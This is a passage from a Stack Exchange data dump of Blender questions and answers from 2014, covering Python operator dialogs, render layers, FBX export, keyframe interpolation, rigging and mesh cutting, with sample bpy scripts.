&quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    uvtex = bpy.props.EnumProperty(items=uvtex_items)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                len(context.object.data.uv_textures) &amp;gt; 0)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;        col.prop(self, &quot;uvtex&quot;, expand=True)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.uvtex)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste the code into &lt;em&gt;Text Editor&lt;/em&gt; and &lt;em&gt;Run Script&lt;/em&gt;. Then move your mouse over &lt;em&gt;3D View&lt;/em&gt;, hit &lt;kbd&gt;Spacebar&lt;/kbd&gt;, search for &lt;code&gt;Simple&lt;/code&gt; and run the &lt;em&gt;Simple Object Operator&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="3710" LastEditDate="2016-01-13T18:27:52.140" LastActivityDate="2016-01-13T18:27:52.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6517" PostTypeId="1" AcceptedAnswerId="6518" CreationDate="2014-01-25T05:00:04.823" Score="4" ViewCount="3156" Body="&lt;p&gt;I'm very new to Blender and I have been watching some tutorials on how to make models within it. In every one of these, their render settings (In the properties tab) have a &lt;em&gt;Layers&lt;/em&gt; section below the &lt;em&gt;Performance&lt;/em&gt; section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My version of blender does not seem to have that, at least by default. I've looked around the user preferences and haven't found anything. Thanks for helping.&lt;/p&gt;&#xA;" OwnerUserId="2255" LastEditorUserId="2217" LastEditDate="2014-05-07T14:05:50.017" LastActivityDate="2015-06-11T18:33:36.200" Title="Layers section is not in the render settings panel?" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6518" PostTypeId="2" ParentId="6517" CreationDate="2014-01-25T09:12:20.033" Score="4" Body="&lt;p&gt;I assume that you are mixing two different tabs of the &lt;em&gt;Properties editor&lt;/em&gt; into one.&#xA;The &lt;em&gt;Performance&lt;/em&gt; section is in &lt;em&gt;Render&lt;/em&gt; tab of the &lt;em&gt;Properties editor&lt;/em&gt; (camera icon), see image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PBJcI.jpg&quot; alt=&quot;Scene tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Layers&lt;/em&gt; and &lt;em&gt;Passes&lt;/em&gt; sections (which are needed for compositing) are in the &lt;em&gt;Render Layers&lt;/em&gt; tab (small pictures icon, second from left), see image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMFWM.jpg&quot; alt=&quot;Render Layers tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Check out this &lt;a href=&quot;http://www.pasteall.org/blend/26474&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlendFile&lt;/a&gt;. Note that there are two &lt;em&gt;render Layers&lt;/em&gt; (A and B). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have scene layers 1, 2 and 10 enabled in &lt;em&gt;Scene layer&lt;/em&gt; selection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Render Selection&lt;/em&gt;, &quot;RenderLayer-A&quot; has layers 1 and 10 enabled, and &#xA;&quot;RenderLayerB&quot; has layers 2 and 10 enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YAka9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="599" LastEditDate="2014-01-26T21:19:42.900" LastActivityDate="2014-01-26T21:19:42.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6519" PostTypeId="1" CreationDate="2014-01-25T13:30:18.800" Score="3" ViewCount="317" Body="&lt;p&gt;I exported from blender to a fbx file and I use a converter that convert to a custom format for game engine, but fbx export name of material with image name like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Material: &quot;Material::GroundMat__ground_jpg&quot;, &quot;&quot; {&#xA;        Version: 102&#xA;        ShadingModel: &quot;lambert&quot;&#xA;        MultiLayer: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I want just Material name like &quot;GroundMat&quot;, is there any possibility that i can export just material name?&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-01-25T13:30:18.800" Title="How can I export Exact material name with FBX?" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6520" PostTypeId="1" AcceptedAnswerId="6596" CreationDate="2014-01-25T15:40:48.727" Score="2" ViewCount="1339" Body="&lt;p&gt;I have an operator that draw its own panel (via &lt;code&gt;invoke_props_dialog&lt;/code&gt;) when invoked to let user set properties which are then applied to the selected object, but the settings are not remember from one call to another when I use the operator's own panel. It works though when using the Tool Shelf Redo feature (bottom of the left panel in the 3D view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample code example to illustrate this issue. It adds a Test Panel with a Test button to the Data properties.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# add a Test Panel with a Test button to the Data properties.&#xA;import bpy&#xA;&#xA;class DATA_PT_test(bpy.types.Panel):&#xA;    bl_label = &quot;Test Panel&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;data&quot;&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.operator(&quot;object.test_invoke&quot;)&#xA;&#xA;class OBJECT_OT_test_invoke(bpy.types.Operator):&#xA;    bl_idname = &quot;object.test_invoke&quot;&#xA;    bl_label = &quot;Test&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    width = bpy.props.IntProperty(name=&quot;Width&quot;, &#xA;            default=10, min=0, max=100)&#xA;    height = bpy.props.IntProperty(name=&quot;Height&quot;, &#xA;            default=20, min=0, max=100)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, &quot;w:{}, h:{}&quot;.format(self.width, self.height))&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Detailed steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the operator button: it uses its default settings.&lt;/li&gt;&#xA;&lt;li&gt;Change the settings, apply them, then re-use the button: the last-used settings are not remembered, it still uses the default one.&lt;/li&gt;&#xA;&lt;li&gt;Use the operator button, modify the settings in the Tool Shelf, use the button again: the setting from the Tool Shelf are remembered. (It does the same when using the Redo Last F6 panel to modify the settings).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For info, I already know some hacky ways to make it work but that's not really the point.&#xA;&lt;strong&gt;I'd like to know if something is wrong or missing in this code, if it sounds like a Blender API bug, or if it's simply not an expected feature.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using last official Blender 2.69.0 (r60995). I have the feeling it worked with previous releases (only from 2.62 though) but didn't feel like reinstalling just to try...&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="1363" LastEditDate="2014-01-25T17:33:47.467" LastActivityDate="2014-01-28T21:41:24.177" Title="Should an Operator remember its last-used settings when invoked?" Tags="&lt;python&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6521" PostTypeId="2" ParentId="6520" CreationDate="2014-01-25T19:33:48.607" Score="2" Body="&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; The dialog is supposed to start with the default settings. A new operator instance is created as you open it, and the default values are taken from the property definitions. The redo panel works differently, it revokes what the last operator did, but keeps the values in the UI and re-executes with new settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could say, the redo panel relates to the last operator, whereas your dialog is part of a new operator.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Operators remember their settings to allow for redo / repeat functionality, see &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Architecture/Operators&quot; rel=&quot;nofollow&quot;&gt;Operator Design&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator log is available to python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.window_manager.operators&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could read the value used for a translation like &lt;code&gt;Operator.properties.value&lt;/code&gt;. But I wouldn't recommend to iterate the log in reverse direction until you find an instance of your operator, just to read the last used settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about this generic solution instead, which stores the settings at python class level:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a static variable (dictionary) to store the operator settings on &lt;code&gt;execute()&lt;/code&gt;, and load them on &lt;code&gt;invoke()&lt;/code&gt; into &lt;code&gt;self.properties&lt;/code&gt;. These two methods can be defined together with the static dict as separate class, and be mixed-in into the operator class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OperatorSettings:&#xA;&#xA;    # Static member&#xA;    _settings = {}&#xA;&#xA;    def save_settings(self): &#xA;        for d in dir(self.properties):&#xA;            if d in {'bl_rna', 'rna_type'}:&#xA;                continue&#xA;            try:&#xA;                self.__class__._settings[d] = self.properties[d]&#xA;            except KeyError:&#xA;                # catches __doc__ etc.&#xA;                continue&#xA;&#xA;    def load_settings(self):&#xA;        # what exception could occur here??&#xA;        for d in self.__class__._settings:&#xA;            self.properties[d] = self.__class__._settings[d]&#xA;&#xA;&#xA;class DATA_PT_test(bpy.types.Panel):&#xA;    bl_label = &quot;Test Panel&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;data&quot;&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.operator(&quot;object.test_invoke&quot;)&#xA;&#xA;&#xA;class OBJECT_OT_test_invoke(bpy.types.Operator, OperatorSettings):&#xA;    bl_idname = &quot;object.test_invoke&quot;&#xA;    bl_label = &quot;Test&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    width = bpy.props.IntProperty(name=&quot;Width&quot;, &#xA;            default=10, min=0, max=100)&#xA;    height = bpy.props.IntProperty(name=&quot;Height&quot;, &#xA;            default=20, min=0, max=100)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, &quot;w:{}, h:{}&quot;.format(self.width, self.height))&#xA;        self.save_settings()&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.load_settings()&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should work for base types (int, float, str), but will probably fail for &lt;code&gt;CollectionProperty&lt;/code&gt; as it is. But should be possible if you implement (de-)serialization functions for such propert types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add non-property class variables to the operator, make sure to exclude them in &lt;code&gt;save_settings()&lt;/code&gt;, or add a type check for all members - see the &lt;code&gt;bl_rna&lt;/code&gt; property for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.properties.bl_rna.properties['...'].type # e.g. 'INT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: I removed &lt;code&gt;'UNDO'&lt;/code&gt; from &lt;code&gt;bl_options&lt;/code&gt; 'cause every change in the redo panel causes a re-execution of the operator. This is not the case for the dialog, the operator is run once on confirmation. Such dialogs should be used if an operator takes a long time to finish, to avoid irresponsive UI. So it's probably not supposed to have the redo functionality enabled.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; There's another approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Register global properties (e.g. on &lt;code&gt;bpy.types.Object&lt;/code&gt; or &lt;code&gt;bpy.types.WindowManager&lt;/code&gt;) and add them to a panel. Let the user set them before (s)he clicks an &lt;em&gt;Execute&lt;/em&gt; button. Pass the global properties to the operator. Global properties are remembered, so it works similar to the redo panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class PrintSomeString(bpy.types.Operator):&#xA;    bl_label = &quot;Print Some String&quot;&#xA;    bl_idname = &quot;object.print_some_string&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    print_this = bpy.props.StringProperty(name=&quot;Print this&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.print_this)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(context.window_manager, &quot;some_string&quot;)&#xA;&#xA;        props = layout.operator(PrintSomeString.bl_idname)&#xA;        props.print_this = context.window_manager.some_string&#xA;&#xA;        props = layout.operator(PrintSomeString.bl_idname, text=&quot;Print welcome message&quot;)&#xA;        props.print_this = &quot;Welcome to Blender!&quot;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.WindowManager.some_string = bpy.props.StringProperty(name=&quot;Some String&quot;)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.WindowManager.some_string&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste into &lt;em&gt;Text Editor&lt;/em&gt; and &lt;em&gt;Run Script&lt;/em&gt;. See &lt;em&gt;Object&lt;/em&gt; tab in &lt;em&gt;Properties Editor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-01-25T20:27:50.053" LastActivityDate="2014-01-25T20:27:50.053" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="6522" PostTypeId="1" CreationDate="2014-01-25T21:17:22.420" Score="3" ViewCount="252" Body="&lt;p&gt;I rigged a mesh human I'd made and it worked fine. I deleted the parenting and the armature modifier between the skeleton and human so I could edit the mesh more. While editing the human, I decided I'd change one side and mirror it to the other. I deleted one half and mirrored the changed half to where the one I'd just erased was. I connected the skeleton to the skin again, using automatic weights as I had the first time, however the weights were asymetrical. The right arm of the mesh works fine, but moving either arm on the skeleton causes the left arm of the mesh to freak out. Same goes for the legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how come the automatic weights got messed up? Why isn't it grabbing the skin symmetrically?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/I9pBW.png&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-01-29T02:52:31.270" Title="How come my skeleton no longer works after mirroring it's mesh?" Tags="&lt;rigging&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6523" PostTypeId="1" CreationDate="2014-01-25T21:27:10.123" Score="3" ViewCount="1746" Body="&lt;p&gt;Is there any way to apply anti-aliasing to an image in the compositor?  I have a complex compositor setup, and during the compositing, some of the anti-aliasing is lost due to the bilateral blur filter.  Does anyone know of a way to perform antialiasing within the compositor?&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-01-25T21:27:10.123" Title="Antialiasing with compositor?" Tags="&lt;compositor&gt;&lt;antialiasing&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6524" PostTypeId="1" AcceptedAnswerId="6525" CreationDate="2014-01-25T22:09:51.987" Score="1" ViewCount="993" Body="&lt;p&gt;I have mouselook for my game but the player can look all the way up and down.  I want the camera to be limited in rotation like a normal fps.  Please help!&lt;/p&gt;&#xA;" OwnerUserId="2185" LastActivityDate="2014-06-07T18:13:25.603" Title="How do I limit the rotation of the camera in an FPS" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6525" PostTypeId="2" ParentId="6524" CreationDate="2014-01-25T22:25:21.987" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://riyuzakisan.weebly.com/mousemove-script.html#toc&quot; rel=&quot;nofollow noreferrer&quot;&gt;mouse move script&lt;/a&gt; allows cutomization. In order to restrict up/down rotation you could add the properties as shown in the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAU7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-25T22:25:21.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6528" PostTypeId="1" AcceptedAnswerId="6529" CreationDate="2014-01-26T00:04:21.353" Score="6" ViewCount="6397" Body="&lt;p&gt;Is there a way to add keyframes (&lt;kbd&gt;I&lt;/kbd&gt; key) with &lt;strong&gt;LINEAR interpolation&lt;/strong&gt; as default instead of &lt;strong&gt;BEZIER&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often animate cyclic motion (e.g. planets orbiting around the sun or textures spinning about Z on a sphere) and the created f-curves have BEZIER as default interpolation. This requires me to immediately change the interpolation to LINEAR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a magic key that I can use to have the keyframes added as LINEAR interpolated, or at least have a global setting that I can set to have LINEAR interpolation used by default. &lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="12" LastEditDate="2014-01-26T06:50:56.433" LastActivityDate="2014-01-26T06:50:56.433" Title="Setting keyframes with default linear interpolation" Tags="&lt;animation&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-26T06:50:01.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="6529" PostTypeId="2" ParentId="6528" CreationDate="2014-01-26T00:12:12.707" Score="10" Body="&lt;p&gt;I also prefer Linear interpolation for my initial keyframes, and set is as the default for new keyframe points through &lt;em&gt;User Preferences&lt;/em&gt; &gt; &lt;em&gt;New F-Curve Defaults&lt;/em&gt; &gt; &lt;em&gt;Interpolation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9OG8.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-01-26T00:12:12.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6530" PostTypeId="1" CreationDate="2014-01-26T02:30:18.423" Score="3" ViewCount="1959" Body="&lt;p&gt;So I was watching a tutorial and following along with how to make this audio visualizer:&#xA;&lt;a href=&quot;http://cgcookie.com/archive/building-an-audio-visualizer-in-python/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgcookie.com/archive/building-an-audio-visualizer-in-python/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the portion of the script in the video that I am having problems with looks like. It's on line 32:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tNVBZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tNVBZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my entire script so far (Up to the point in the video shown in the picture):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rows = 5&#xA;columns = 5&#xA;&#xA;r = 0&#xA;c = 0&#xA;&#xA;&#xA;for i in range(0, rows*columns):&#xA;    if c == columns:&#xA;        r += 1&#xA;        c = 0&#xA;&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location =(r*2, c*2, 0))&#xA;bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;bpy.context.scene.cursor_location.z -= 1&#xA;bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;####&#xA;bpy.context.active_object.scale.x = 0.5&#xA;bpy.context.active_object.scale.y = 0.5&#xA;bpy.context.active_object.scale.z = 5&#xA;bpy.ops.object.transform_apply(scale=True)&#xA;&#xA;bpy.ops.anim.keyframe_insert_menu(type ='Scaling')&#xA;bpy.context.active_object.animation_data.action.fcurves[0],lock = true&#xA;bpy.context.active_object.animation_data.action.fcurves[1],lock = true&#xA;&#xA;bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;step = 20000/ (rows*columns) &#xA;bpy.ops.graph.sound_bake(filepath=&quot;/Users/USER/Desktop/14 Federation.m4a&quot;, low=i*step, high=i*step + step)&#xA;&#xA;&#xA;bpy.context.active_object.animation_data.action.fcurves[2],lock = true&#xA;&#xA;c += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that in the video the part with &lt;code&gt;step = 20000&lt;/code&gt; and the part with &lt;code&gt;bpy.ops.graph.sound_bake(...)&lt;/code&gt; are on the same line, but when I do that, it gives me syntax errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now, this script tells me that it has failed and then tells me to look in the python console. In addition, it only creates one of the cubes that the script is supposed to make a 5x5 grid of. It also unlocks all of the scale parameters and changes nothing for the graph editor for the one cube that it creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely enough, removing the entire portion starting with &lt;code&gt;bpy.context.area.type = 'GRAPH_EDITOR'&lt;/code&gt; to &lt;code&gt;bpy.context.active_object.animation_data...&lt;/code&gt; causes the full grid of 25 cubes to appear.&lt;/p&gt;&#xA;" OwnerUserId="2255" LastEditorUserId="25" LastEditDate="2015-11-22T21:42:18.117" LastActivityDate="2015-11-22T21:42:18.117" Title="Scripting help for Audio Visualizer Tutorial" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6531" PostTypeId="1" AcceptedAnswerId="6535" CreationDate="2014-01-26T03:08:45.733" Score="7" ViewCount="4743" Body="&lt;p&gt;I've created a Bezier curve, and used to shrinkwrap modifier to project it onto my object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YlCrr.png&quot; alt=&quot;object and curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to cut along the curve, splitting the mesh into two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?  If I just use knife project, I would lose the 'lid' part.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="2217" LastEditDate="2015-06-02T00:36:48.907" LastActivityDate="2015-06-02T00:36:48.907" Title="Split mesh into two pieces using bezier curve" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6532" PostTypeId="2" ParentId="6517" CreationDate="2014-01-26T03:36:49.507" Score="4" Body="&lt;p&gt;The render layers where moved into their own section within properties starting with 2.67 - there are many older tutorials available that still show the render layers within the render settings panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Render Layers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ELn7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous Render Layers (2.66)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKTDt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-26T03:36:49.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6533" PostTypeId="2" ParentId="6522" CreationDate="2014-01-26T04:05:11.167" Score="1" Body="&lt;p&gt;By duplicating the mesh from one side to the other you are also copying the data that says &quot;this vertex belongs to group arm.L&quot;. When the armature then links to vertices of group arm.L it moves vertices that exist on both sides of your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you found removing the vertex groups allows the armature linking routines to create new groups that only include the desired vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertices that didn't move would be the new vertices you added during the re-modelling.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-26T04:05:11.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6534" PostTypeId="1" AcceptedAnswerId="6537" CreationDate="2014-01-26T04:46:24.223" Score="33" ViewCount="121736" Body="&lt;p&gt;I have added a texture to a cube in the UV editor and it shows up fine in textured view &lt;img src=&quot;https://i.stack.imgur.com/POESq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But when I render it there is no texture&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fOUbF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What have I done wrong?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-01-17T10:11:41.090" Title="Render not showing UV texture" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6535" PostTypeId="2" ParentId="6531" CreationDate="2014-01-26T05:15:35.800" Score="9" Body="&lt;h2&gt;Method 1&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a &lt;strong&gt;Cut Through&lt;/strong&gt; option for Knife Project tool, as shown in Figure 1 below (btw, since Knife Project tool doesn't require the curve being snapped to the surface, the Shrinkwrap modifier isn't quite useful here, just make the projected cut through the ortho view, Top view in your case);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;P&lt;/kbd&gt; to separate the default selection after that, see Figure 2;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one object, enter Edit mode, &lt;kbd&gt;A&lt;/kbd&gt; to select none, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select the cutting edge loops (in Vertex or Edge select mode), then &lt;kbd&gt;W&lt;/kbd&gt; &gt; Bridge Edge Loops. Repeat it on another object. See Figure 3.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baT2y.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d3JyS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iT73v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is another nice script called &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?316520-Sculpt-Tools&quot; rel=&quot;noreferrer&quot;&gt;Sculpt Tools&lt;/a&gt;&lt;/strong&gt; shared in &lt;a href=&quot;http://blenderartists.org&quot; rel=&quot;noreferrer&quot;&gt;Blenderartists.org&lt;/a&gt;, which can do this in one stop. But the final mesh needs a bit refinement compared to Method 1 